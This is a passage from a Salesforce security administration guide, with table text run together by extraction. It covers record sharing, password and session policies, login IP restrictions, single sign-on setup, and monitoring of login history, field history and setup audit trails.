All of your own groups. This is only available when creating
other personal groups.
Personal Groups
69
Group Member TypesSecuring and Sharing Data
DescriptionMember Type
All roles defined for your organization’s partner portal or
Customer Portal. This includes all users in the specified portal
role, except high-volume portal users.
Portal Roles
Note: A portal role name includes the name of the
account that it’s associated with, except for person
accounts, which include the user Alias.
All roles defined for your organization’s partner portal or
Customer Portal. This includes all of the users in the specified
Portal Roles and Subordinates
portal role plus all of the users below that role in the portal
role hierarchy, except for high-volume portal users.
Note: A portal role name includes the name of the
account that it’s associated with, except for person
accounts, which include the user Alias.
All public groups defined by your administrator.Public Groups
All roles defined for your organization. Adding a role to a
group includes all of the users in that role, but does not include
portal roles.
Roles
Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
doesn't include portal roles or users.
Roles and Internal Subordinates
Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
Roles and Subordinates
is only available when no portals are enabled for your
organization.
Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
Roles, Internal and Portal Subordinates
is only available when a partner or Customer Portal is enabled
for your organization. This includes portal users.
All users in your organization. This doesn't include portal
users.
Users
Viewing All Users in a Group
The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing group.The
All Users list shows users who belong to the selected public group, queue, or role sharing group. From this page, you can view
detailed user information, edit user information, and access related information.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom views. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a username to edit the user information.
70
Viewing All Users in a GroupSecuring and Sharing Data
• Click Login next to a username to log in as that user. This link is only available for users who have granted login access
to an administrator, or in organizations where administrators can log in as any user.
Granting Access to Records
Users can manually grant other users access to certain kinds of records, including accounts, contacts, and leads. In some cases,
granting access to one record includes access to all its associated records. This method of granting access is also known as a
manual share. For example, if you grant another user access to an account, the user will automatically have access to all the
opportunities and cases associated with that account.
To grant access to a record, you must be one of these.
• The record owner
• A user in a role above the owner in the hierarchy (if your organization’s sharing settings control access through hierarchies)
• Any user granted “Full Access” to the record
• An administrator
To grant access to a record using a manual share:
1. Click Sharing on the record you want to share.
2. Click Add.
3. From the Search drop-down list, select the type of group, user, role, or territory to add.
Depending on the data in your organization, your options can include:
DescriptionType
All direct and indirect managers of a user.Managers Groups
A manager and all direct and indirect reports who he or she
manages.
Manager Subordinates Groups
All public groups defined by your administrator.Public Groups
All personal groups defined by the record owner. Only the
record owner can share with his or her personal groups.
Personal Groups
All users in your organization. Does not include portal users.Users
All roles defined for your organization. This includes all of
the users in each role.
Roles
All of the users in the role plus all of the users in roles below
that role in the hierarchy. Only available when no portals
are enabled for your organization.
Roles and Subordinates
All roles defined for your organization. This includes all of
the users in the specified role plus all of the users in roles
Roles and Internal Subordinates
below that role, excluding partner portal and Customer
Portal roles.
Adds a role and its subordinate roles. Includes all of the users
in that role plus all of the users in roles below that role. Only
Roles and Internal and Portal Subordinates
available when a partner or Customer Portal is enabled for
your organization. Includes portal roles and users.
71
Granting Access to RecordsSecuring and Sharing Data
DescriptionType
For organizations that use territory management, all
territories defined for your organization, including all users
in each territory.
Territories
For organizations that use territory management, all users
in the territory plus the users below that territory.
Territories and Subordinates
4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the Share With
list. Use the Add and Remove arrows to move the items from the Available list to the Share With list.
5. Choose the access level for the record you are sharing and any associated records that you own.
Note:
• If you’re sharing an opportunity or case, those you share it with must also have at least “Read” access to the
associated account (unless you are sharing a case via a case team). If you also have privileges to share the account
itself, those you share it with are automatically given “Read” access to the account. If you do not have privileges
to share the account, you must ask the account owner to give others “Read” access to it.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.
• For sharing rules that specify access for associated object records, the given access level applies to that sharing
rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts,
a user may still have access to associated contacts via other means, such as organization-wide defaults, the
“Modify All Data” or “View All Data” permission, or the “Modify All” or “View All” permission for contacts.
6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast.
7. Select the reason you’re sharing the record so users and administrators can understand.
8. Click Save.
72
Granting Access to RecordsSecuring and Sharing Data
Chapter 3
Configuring Salesforce Security Features
Review the following sections for detailed instructions and tips on setting up and configuring Salesforce security features.
Setting Password Policies
User Permissions Needed
“Manage Users”To set password policies:
For your organization’s security, you can set various password and login policies.
Note:
User passwords cannot exceed 16,000 bytes.
Logins are limited to 3,600 per hour per user. This limit applies to organizations created after Summer ’08.
1. From Setup, click Security Controls > Password Policies.
2. Customize the password settings.
DescriptionField
The length of time until all user passwords expire and must
be changed. Users with the “Password Never Expires”
User passwords expire in
permission are not affected by this setting. The default is 90
days. This setting is not available for Self-Service portals.
Save users’ previous passwords so that they must always reset
their password to a new, unique password. Password history
Enforce password history
is not saved until you set this value. The default is 3
passwords remembered. You cannot select No
passwords remembered unless you select Never
expires for the User passwords expire in field.
This setting is not available for Self-Service portals.
The minimum number of characters required for a password.
When you set this value, existing users aren’t affected until
Minimum password length
the next time they change their passwords. The default is 8
characters.
73
DescriptionField
The requirement for which types of characters must be used
in a user’s password.
Complexity levels:
Password complexity requirement
• No restriction—allows any password value and is
the least secure option.
• Must mix alpha and numeric—requires at least
one alphabetic character and one number. This is the
default.
• Must mix alpha, numeric, and special
characters—requires at least one alphabetic character,
one number, and one of the following characters: ! #
$ % - _ = + < >.
The values are Cannot contain password, meaning
that the answer to the password hint question cannot contain
Password question requirement
the password itself; or None, the default, for no restrictions
on the answer. The user’s answer to the password hint
question is required. This setting is not available for
Self-Service portals, Customer Portals, or partner portals.
The number of login failures allowed for a user before they
become locked out. This setting is not available for
Self-Service portals.
Maximum invalid login attempts
The duration of the login lockout. The default is 15 minutes.
This setting is not available for Self-Service portals.
Lockout effective period
Note: If users are locked out, they must wait until
the lockout period expires. Alternatively, a user with
the “Reset Passwords and Unlock Users” permission
can unlock them from Setup by clicking Manage
Users > Users, selecting the user, then clicking
Unlock. This button is only available when a user
is locked out.
This feature hides answers to security questions as you type.
The default is to show the answer in plain text when you
Obscure Secret Answer for Password Resets
answer a security question, for example when resetting your
password.
Note: If your organization uses the Microsoft Input
Method Editor (IME) with the input mode set to
Hiragana, when you type ASCII characters they’re
converted into Japanese characters in normal text
fields. However, the IME does not work properly
in fields with obscured text. If your organization’s
users cannot properly enter their passwords or other
values after enabling this feature, disable the feature.
74
Setting Password PoliciesConfiguring Salesforce Security Features
3. Customize the forgotten password and locked account assistance information.
Note: This setting is not available for Self-Service portals, Customer Portals, or partner portals.
DescriptionField
When set, this custom message appears in the Account
Lockout email and at the bottom of the Confirm Identity
Message
screen for users resetting their passwords. You can customize
it with the name of your internal help desk or a system
administrator. For the lockout email, the message only
appears for accounts that need an administrator to reset
them. Lockouts due to time restrictions get a different system
email message.
If set, this link displays with the text defined in the Message
field. In the Account Lockout email, the URL displays just
Help link
as it is typed into the Help link field, so the user can see
where the link takes them. This is a security feature because
the user is not within a Salesforce organization.
On the Confirm Identity password screen, the Help link
URL combines with the text in the Message field to make
a clickable link. Security isn’t an issue since the user is in a
Salesforce organization when changing passwords.
Valid protocols:
• http
• https
• mailto:
4. Specify an alternative home page for users with the “API Only User” permission. After completing user management tasks
such as resetting a password, API-only users are redirected to the URL specified here, rather than to the login page.
5. Click Save.
Expiring Passwords
User Permissions Needed
“Manage Users”To expire all passwords:
To expire passwords for all users, except those with the “Password Never Expires” permission:
1. From Setup, click Security Controls > Expire All Passwords.
2. Select Expire all user passwords.
3. Click Save.
The next time each user logs in, he or she will be prompted to reset his or her password.
75
Expiring PasswordsConfiguring Salesforce Security Features
Tips on Expiring Passwords
Consider the following when expiring passwords:
• After you expire passwords, users might need to activate their computers to successfully log in to Salesforce.
• You can expire passwords for all users any time you want to enforce extra security for your organization.
• Expire all user passwords does not affect Self-Service portal users, because they are not direct Salesforce users.
Restricting Login IP Ranges for Your Organization
User Permissions Needed
“Login Challenge Enabled”To view network access:
“Manage Users”To change network access:
Note: Who Sees What: Organization Access
Watch how you can restrict login through IP ranges and login hours.
To help protect your organization’s data from unauthorized access, you can specify a list of IP addresses from which users can
always log in without receiving a login challenge:
1. From Setup, click Security Controls > Network Access.
2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow
logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0,
enter 125.12.3.0 as both the start and end addresses.
The start and end IP addresses in an IPv4 range must include no more than 33,554,432 addresses (225
, a /7 CIDR block).
For example, the following ranges are valid:
• 0.0.0.0 to 1.255.255.255
• 132.0.0.0 to 132.255.255.255
• 132.0.0.0 to 133.255.255.255
However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
The start and end IP addresses in an IPv6 range must include no more than 79,228,162,514,264,337,593,543,950,336
addresses (296
, a /32 CIDR block). For example, the following range is valid: 2001:8000:: to
2001:8000:ffff:ffff:ffff:ffff:ffff:ffff. However, ranges like :: to
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff or 2001:8000:: to 2001:8001:: are too large.
4. Click Save.
Note: For organizations that were activated before December 2007, Salesforce automatically populated your
organization’s trusted IP address list in December 2007, when this feature was introduced. The IP addresses from
which trusted users had already accessed Salesforce during the past six months were added.
Note: Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped
IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff
is 255.255.255.255. A range can’t include IP addresses inside of the IPv4-mapped IPv6 address space if it also
76
Restricting Login IP Ranges for Your OrganizationConfiguring Salesforce Security Features
includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to
::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is
only enabled for login in sandbox organizations from the Spring ’12 release and later.
Setting Session Security
User Permissions Needed
“Customize Application”To set session security:
You can modify session security settings to specify connection type, timeout settings, and more.
1. From Setup, click Security Controls > Session Settings.
2. Customize the session security settings.
DescriptionField
Length of time after which the system logs out inactive users. For Portal
users, the timeout is between 10 minutes and 12 hours even though you
Timeout value
can only set it as low as 15 minutes. Select a value between 15 minutes
and 12 hours. Choose a shorter timeout period if your organization has
sensitive information and you want to enforce stricter security.
Note: The last active session time value isn’t updated until
halfway through the timeout period. That is, if you have a 30
minute timeout, the system won’t check for activity until 15
minutes have passed. For example, assume you have a 30 minute
timeout value. If you update a record after 10 minutes, the last
active session time value won’t be updated because there was
no activity after 15 minutes. You’ll be logged out in 20 more
minutes (30 minutes total) because the last active session time
wasn’t updated. Suppose you update a record after 20 minutes.
That’s five minutes after the last active session time is checked,
so your timeout resets and you have another 30 minutes before
being logged out, for a total of 50 minutes.
Determines whether the system prompts inactive users with a timeout
warning message. Users are prompted 30 seconds before timeout as
specified by the Timeout value.
Disable session timeout warning
popup
Determines whether user sessions are locked to the IP address from
which the user logged in; helping to prevent unauthorized persons from
hijacking a valid session.
Lock sessions to the IP address
from which they originated
Note: This may inhibit various applications and mobile devices.
77
Setting Session SecurityConfiguring Salesforce Security Features
DescriptionField
Determines whether HTTPS is required to log in to or access Salesforce,
apart from Force.com sites, which can still be accessed using HTTP.
This option is enabled by default for security reasons.
Require secure connections (HTTPS)
Note: The Resetting Passwords page can only be accessed using
HTTPS.
Determines whether an administrator that is logged in as another user
is returned to their previous session after logging out as the secondary
user.
If the option is enabled, an administrator must log in again to continue
using Salesforce after logging out as the user; otherwise, the administrator
is returned to their original session after logging out as the user.
Force relogin after Login-As-User
Restricts session ID cookie access. A cookie with the HttpOnly attribute
is not accessible via non-HTTP methods, such as calls from JavaScript.
Require HttpOnly attribute
Note: If you have a custom or packaged application that uses
JavaScript to access session ID cookies, selecting Require
HttpOnly attribute breaks your application because it
denies the application access to the cookie. The Developer
Console and AJAX Toolkit debugging window are also not
available if the Require HttpOnly attribute is selected.
Allows the user’s browser to store usernames. If enabled, after an initial
log in, usernames are auto-filled into the User Name field on the login
Enable caching and password
autocomplete on login page
page. This preference is selected by default and caching and autocomplete
are enabled.
Enables users to receive a one-time PIN delivered via SMS. Once
enabled, administrators or users must verify their mobile phone number
Enable SMS-based identity
confirmation
before taking advantage of this feature. This setting is selected by default
for all organizations.
Specifies a range of IP addresses users must log in from (inclusive), or
the login will fail. Users need to activate their computers to successfully
log in from IP addresses outside this range.
To specify a range, click New and enter a lower and upper IP address to
define the range.
Login IP Ranges
This field is not available in Enterprise, Unlimited, Performance, and
Developer Editions. In those editions, you can specify valid IP addresses
per profile.
Protects against clickjack attacks on setup Salesforce pages. Clickjacking
is also known as a user interface redress attack. (Setup pages are available
from the Setup menu.)
Enable clickjack protection for
setup pages
Protects against clickjack attacks on non-setup Salesforce pages.
Clickjacking is also known as a user interface redress attack. Setup pages
Enable clickjack protection for
non-setup Salesforce pages
78
Setting Session SecurityConfiguring Salesforce Security Features
DescriptionField
already include protection against clickjack attacks. (Setup pages are
available from the Setup menu.) This setting is selected by default for
all organizations.
Protects against clickjack attacks on your Visualforce pages. Clickjacking
is also known as a user interface redress attack.
Enable clickjack protection for
non-setup customer Visualforce
pages
Warning: If you use custom Visualforce pages within a frame
or iframe, you may see a blank page or the page may display
without the frame. For example, Visualforce pages in a page
layout do not function when clickjack protection is on.
Protects against Cross Site Request Forgery (CSRF) attacks by modifying
non-setup pages to include a random string of characters in the URL
Enable CSRF protection on GET
requests on non-setup pages
parameters or as a hidden form field. With every GET and POST
Enable CSRF protection on POST
requests on non-setup pages
request, the application checks the validity of this string of characters
and doesn’t execute the command unless the value found matches the
value expected. This setting is selected by default for all organizations.
3. Click Save.
Session-level Security
You can restrict access to certain types of resources based on the level of security associated with the authentication (login)
method for the user’s current session. By default, each login method has one of two security levels: Standard or High Assurance.
You can change the session security level and define policies so specified resources are only available to users with a High
Assurance level.
The different authentication methods are assigned these security levels, by default.
• Username and Password — Standard
• Delegated Authentication — Standard
• Two-Factor Authentication — High Assurance
• Authentication Provider — Standard
• SAML — Standard
Note: The security level for a SAML session can also be specified using the SessionLevel attribute of the
SAML assertion sent by the identity provider. The attribute can take one of two values, STANDARD or
HIGH_ASSURANCE.
To change the security level associated with a login method:
1. From Setup, click Security Controls > Session Settings.
2. Under Session Security Levels, select the login method.
3. Click the Add or Remove arrow to move it to the proper category.
Currently, the only features that use session-level security are connected apps, reports, and dashboards. You can set policies
requiring High Assurance on these types of resources and specify an action to take if the session used to access the resource is
not High Assurance. The two supported actions are:
• Block — This blocks access to the resource by showing an insufficient privileges error.
• Raise session level — This redirects you to a Two-Factor Authentication flow for raising the session’s security level to
High Assurance. Once you complete the flow successfully, you can access the resource.
79
Setting Session SecurityConfiguring Salesforce Security Features
To set a High Assurance required policy for accessing a connected app:
1. From Setup, go to Administer > Manage Apps > Connected Apps.
2. Click Edit next to the connected app.
3. Select High Assurance session required.
4. Select one of the two actions presented.
5. Click Save.
To set a High Assurance required policy for accessing reports and dashboards:
1. From Setup, go to Build > Customize > Reports & Dashboards > Access Policies.
2. Select the High Assurance session required.
3. Select one of the two actions presented.
4. Click Save.
The session levels have no impact on any resources in the app other than connected apps, reports, and dashboards for which
explicit security policies have been defined.
80
Setting Session SecurityConfiguring Salesforce Security Features
Chapter 4
Enabling Single Sign-On
Salesforce offers two ways to use single sign-on:
• Delegated Authentication: When delegated authentication is enabled, Salesforce does not validate a user’s password.
Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You
must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization. For more information, see “Understanding Delegated Authentication Single Sign-On”
in the Salesforce online help.
• Federated Authentication: When federated authentication is enabled, Salesforce does not validate a user’s password.
Instead, Salesforce verifies an assertion in the HTTP POST request, and allows single sign-on if the assertion is true. This
is the default form of single sign-on. Federated authentication is available in all Editions. For more information, see
“Configuring SAML Settings for Single Sign-On” in the Salesforce online help.
Benefits of Single Sign-On
Implementing single sign-on can offer the following advantages to your organization:
• ReducedAdministrativeCosts: With single sign-on, users only need to memorize a single password to access both network
resources or external applications and Salesforce. When accessing Salesforce from inside the corporate network, users are
logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce from outside
the corporate network, the users’ corporate network login works to log them in. With fewer passwords to manage, system
administrators receive fewer requests to reset forgotten passwords.
• Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating
Salesforce authentication to this system, when a user is removed from the LDAP system, they can no longer access Salesforce.
Consequently, users who leave the company automatically lose access to company data after their departure.
• Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their
username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to
Salesforce is avoided. These saved seconds add up to increased productivity.
• Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce on a
regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as
records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens
automatically.
• Increased Security: Any password policies that you have established for your corporate network will also be in effect for
Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users
who have access to sensitive data.
Delegated Authentication Best Practices
Consider the following best practices when implementing delegated authentication single sign-on for your organization.
• Your organization’s implementation of the Web service must be accessible by salesforce.com servers. This means you must
deploy the Web service on a server in your DMZ. Remember to use your server’s external DNS name when entering the
Delegated Gateway URL in the Delegated authentication section in Salesforce (from Setup, click Security Controls
> Single Sign-On Settings).
81
• If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt
fails. An error is reported to the user indicating that his or her corporate authentication service is down.
• Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server
stub from the WSDL to ensure accuracy.
• For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a
trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com.
• The IP address that originated the login request is sourceIp. Use this information to restrict access based on the user’s
location. Note that the Salesforce feature that validates login IP ranges continues to be in effect for single sign-on users.
For more information, see Setting Login Restrictions on page 36.
• You may need to map your organization’s internal usernames and Salesforce usernames. If your organization does not
follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include
the Salesforce username as an attribute of a user account. Your authentication service can then use this attribute to map
back to a user account.
• We recommend that you do not enable single sign-on for system administrators. If your system administrators are single
sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce. System administrators
should always be able to log in to Salesforce so they can disable single sign-on in the event of a problem.
• We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before
implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com.
• Make sure to test your implementation with Salesforce.com clients such as Salesforce for Outlook, Connect for Office,
and Connect Offline. For more information, see Single Sign-On for Salesforce clients.
Federated Authentication using SAML Best Practices
Consider the following best practices when implementing federated single sign-on with SAML for your organization.
• Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of
your Identity Provider.
• Salesforce allows a maximum of three minutes for clock skew with your IDP server; make sure your server’s clock is
up-to-date.
• If you are unable to log in with SAML assertion, always check the login history and note the error message.
• You need to map your organization’s internal usernames and Salesforce usernames. You have two choices to do this: add
a unique identifier to the FederationIdentifier field of each Salesforce user, or extend your user database schema
(for example, Active Directory) to include the Salesforce username as an attribute of a user account. Choose the corresponding
option for the SAML User ID Type field and configure your authentication service to send the identifier in SAML
assertions.
• Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the
necessary configurations.
• We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To
sign up for a free Developer Edition account, go to developer.force.com.
• All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL. The Recipient URL is updated to match your sandbox URL, for example
http://cs1.salesforce.com, after you re-enable SAML. To enable SAML in the sandbox copy, from Setup, click
Security Controls > Single Sign-On Settings; then click Edit, and select SAML Enabled.
• Your identity provider must allow you to set the service provider’s audience URL. The value must match the Entity ID
value in the single sign-on configuration. The default value is https://saml.salesforce.com.
Single Sign-On for Portals Best Practices
Customer Portals and partner portals are not available for new organizations in the Summer ’13 release or later. Use Communities
instead. For more information about single sign-on and SAML for Communities, see “Configuring SAML for Communities”
in Getting Started With Communities. If you continue to use portals, note the following information.
• Only SAML version 2.0 can be used with portals.
• Only Customer Portals and partner portals are supported.
• Service provider initiated login is not supported.
82
Enabling Single Sign-On
• Both the portal_id and organization_id attributes are required for single sign-on for portals. If only one is specified,
the user receives an error.
• If both the portal_id and organization_id attributes are populated in the SAML assertion, the user is directed to
that portal login. If neither is populated, the user is directed to the regular SAML Salesforce login.
• More than one portal can be used with a single organization.
83
Enabling Single Sign-On
Chapter 5
Monitoring Your Organization's Security
Review the following sections for detailed instructions and tips on monitoring the security of your Salesforce organization.
Monitoring Login History
User Permissions Needed
“Manage Users”To monitor logins:
On this page, Administrators can monitor the successful and failed login attempts for their organization and enabled portals.
The columns on this page provide information about each login attempt. The login history page displays the most recent
20,000 entries in the login history database. If you need to see more records, you can download the information to a CSV or
GZIP file.
Contact Manager, Group, Professional, Enterprise, Unlimited, Performance, and Developer
Editions
To download the information into a CSV or GZIP file:
1. From Setup, click Manage Users > Login History.
2. Click one of the following radio buttons:
• Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months.
This report includes logins through the API.
• gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six
months. This report includes logins through the API. The file is compressed and this is the preferred option for quickest
download time.
3. Select the file contents. You can choose All Logins, IE6 Logins Only, or Web Site Logins Only.
4. Click Download Now.
Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large
file in Excel, see the Microsoft Help and Support article about handling large files.
You can create new list views sorted by Login Time and Login URL. For example, you could create a view of all logins between
a particular time range. Like the default view, a custom view filters the most recent 20,000 rows in the login history database.
To create a new view, click Create New View from the page. Fill in the following:
1. Enter View Name
Enter the name to appear in the View drop-down list.
2. Specify Filter Criteria.
84
You can filter by Login Time and Login URL.
3. Select Fields to Display
The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can
display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters
are displayed in the list view.
To see the last ten successful and failed logins for a specific user, from Setup, click Manage Users > Users, click on the Full
Name for the user, and scroll to the Login History section.
Viewing Your Login History
To view your personal login history:
1. At the top of any Salesforce page, click the down arrow next to your name. From the menu under your name, select Setup
or My Settings—whichever one appears.
2. From the left pane, select one of the following:
• If you clicked Setup, click MyPersonalInformation > PersonalInformation, then scroll to the Login History related
list to view your last ten logins.
• If you clicked My Settings, click Personal > Login History.
3. To download a CSV file of your login history for the past six months, click the Download... link.
Note: For security purposes, Salesforce may require users to pass a CAPTCHA user verification test to export data
from their organization. This simple text-entry test prevents malicious programs from accessing your organization's
data. To pass the test, users must correctly type the two words displayed on the overlay into the overlay's text box
field. Note that the words entered into the text box field must be separated by a space.
Single Sign-On with SAML
If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history
messages specific to single sign-on.
My Domain
If you are using My Domain, you can identify which users are logging in with the new login URL, and when. From Setup,
click Manage Users > Login History and look at the Username and Login URL columns.
Tracking Field History
You can select certain fields to track, and display the field history in the History related list of an object. You can track the
field history of custom objects, as well as the history of the following standard objects:
• Accounts
• Cases
• Contacts
• Entitlements
• Service contracts
• Contract line items
• Contracts
• Leads
• Opportunities
• Articles
85
Tracking Field HistoryMonitoring Your Organization's Security
• Solutions
Modifying any of these fields adds a new entry to the History related list. All entries include the date, time, nature of the
change, and who made the change. Note that not all field types are available for history tracking. Certain changes, such as
case escalations, are always tracked.
Considerations
• Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded.
• Tracked field values are not automatically translated; they display in the language in which they were made. For example,
if a field is changed from Green to Verde, Verde is displayed no matter what a user’s language is, unless the field value
has been translated into other languages via the Translation Workbench. This also applies to record types and picklist
values.
• Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the
user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then
a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as
Red.
• Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related
list. For example, a date change to August, 5, 2012 shows as 8/5/2012 for a user with the English (United States)
locale, and as 5/8/2012 for a user with the English (United Kingdom) locale.
Tracking Field History for Standard Objects
Available in: ContactManager, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com
Editions
Standard Objects are not available in Database.com
User Permissions Needed
“Customize Application”To set up which fields are tracked:
If you use both business accounts and person accounts, review the following before enabling account field history tracking:
• Field history tracking for accounts affects both business accounts and person accounts.
• Enabling field history tracking on person accounts does not enable field history tracking on personal contacts.
To set up field history tracking:
1. From Setup, click Customize.
2. Select the object you want to configure.
3. Click Fields > Set History Tracking.
Note: When you enable tracking for an object, be sure to customize your page layouts to include the object’s
history related list.
4. For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History,
Enable Lead History, or Enable Opportunity History checkbox.
5. Choose the fields you want tracked.
You can select a combination of up to 20 standard and custom fields per object. This limit includes fields on business
accounts and person accounts.
86
Tracking Field History for Standard ObjectsMonitoring Your Organization's Security
Certain changes, such as case escalations, are always tracked.
You can’t track the following fields:
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
• Expected Revenue field on opportunities
• Master Solution Title or the Master Solution Details fields on solutions; these fields display only for
translated solutions in organizations with multilingual solutions enabled.
6. Click Save.
Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.
Tracking Field History for Custom Objects
Available in: ContactManager, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com
Editions
Standard Objects are not available in Database.com
User Permissions Needed
“Customize Application”To set up which fields are tracked:
To track field history for custom objects:
1. From Setup, click Create > Objects.
2. Click Edit next to the name of the custom object.
3. Select the Track Field History checkbox.
Note: When you enable tracking for an object, be sure to customize your page layouts to include the object’s
history related list.
4. Click Save.
5. Click Set History Tracking in the Custom Fields & Relationships section.
This section allows you to set a custom object’s history for both standard and custom fields.
6. Choose the fields you want tracked.
You can select up to 20 standard and custom fields per object. You can’t track:
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
7. Click Save.
Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.
Methods for Archiving Field History
To archive field history, you can use one of the following options:
87
Tracking Field History for Custom ObjectsMonitoring Your Organization's Security
• Schedule a regular export of FieldHistory data.
• Export an object-specific field history report to a CSV file.
• Run a query using the SOAP API and save your results.
Note: Salesforce is offering a field history retention pilot that lets you use the API to specify field history retention
date ranges. See the Spring ’14 release notes for more information.
Disabling Field History Tracking
Available in: ContactManager, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com
Editions
Standard Objects are not available in Database.com
User Permissions Needed
“Customize Application”To set up which fields are tracked:
Note: You cannot disable field history tracking for an object if a field on the object is referenced in Apex.
1. Select the object whose field history tracking you want to disable.
a. For standard objects, from Setup, click Customize.
b. For custom objects, from Setup, click Create > Objects.
2. Deselect the Track Field History checkbox.
If you deselect the checkbox, the History related list is automatically removed from the associated object’s page layouts.
If you disable field history tracking on a standard object, you can still report on its history data up to the date and time
that you disabled tracking. If you disable field history tracking on a custom object, then you cannot report on its field
history.
Monitoring Setup Changes
User Permissions Needed
“View Setup and Configuration”To view audit trail history:
The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your
organization. This can be especially useful in organizations with multiple administrators.
To view the setup audit trail history, from Setup, click Security Controls > View Setup Audit Trail. To download your
organization’s full setup history for the past 180 days, click the Download link.
The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the
change, who made it, and what the change was. Additionally, if a delegate (such as an administrator or customer support
representative) makes a setup change on behalf of an end-user, the Delegate User column shows the delegate’s username. For
88
Disabling Field History TrackingMonitoring Your Organization's Security
example, if a user grants login access to an administrator and the administrator makes a setup change, the administrator’s
username is listed.
The setup audit trail history tracks the following types of changes:
Changes TrackedSetup
Administration • Company information, default settings such as language or locale, and company message changes
• Multiple currency setup changes
• User, portal user, role, permission set, and profile changes
• Email address changes for any user
• Deleting email attachments sent as links
• Creating, editing, or deleting email footers
• Record type changes, including creating or renaming record types and assigning record types to
profiles
• Changes to divisions, including creating and editing divisions, transferring divisions, and changing
users’ default division
• Adding or deleting certificates
• Domain name changes
• Enabling or disabling Salesforce as an identity provider
Customization • Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the
related list hover links
• Page layout, action layout, and search layout changes
• Changes to compact layouts
• Changes to the Salesforce1 navigation menu
• Changes made using inline editing
• Custom field and field-level security changes, including changes to formulas, picklist values, and
custom field attributes like the format of auto-number fields or masking of encrypted fields
• Changes to lead settings, lead assignment rules, and lead queues
• Changes to activity settings
• Changes to support settings, business hours, case assignment and escalation rules, and case queues
• Any changes made by salesforce.com Customer Support at your request
• Changes to tab names, including tabs that you reset to the original tab name
• Changes to custom apps (including Salesforce console apps), custom objects, and custom tabs
• Changes to contract settings
• Changes to forecast settings
• Enabling or disabling Email-to-Case or On-Demand Email-to-Case
• Changes to custom buttons, links, and s-controls, including standard button overrides
• Enabling or disabling drag-and-drop scheduling
• Enabling, disabling, or customizing similar opportunities
• Enabling or disabling quotes
• Changes to data category groups, data categories, and category-group assignments to objects
• Changes to article types
• Changes to category groups and categories
• Changes to Salesforce Knowledge settings
• Changes to ideas settings
89
Monitoring Setup ChangesMonitoring Your Organization's Security
Changes TrackedSetup
• Changes to answers settings
• Changes to field tracking in feeds
• Changes to campaign influence settings
• Activating or deactivating critical updates
• Enabling or disabling Chatter email notifications
• Enabling or disabling Chatter new user creation settings for invitations and email domains
Security and
Sharing
• Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access
Using Hierarchies option
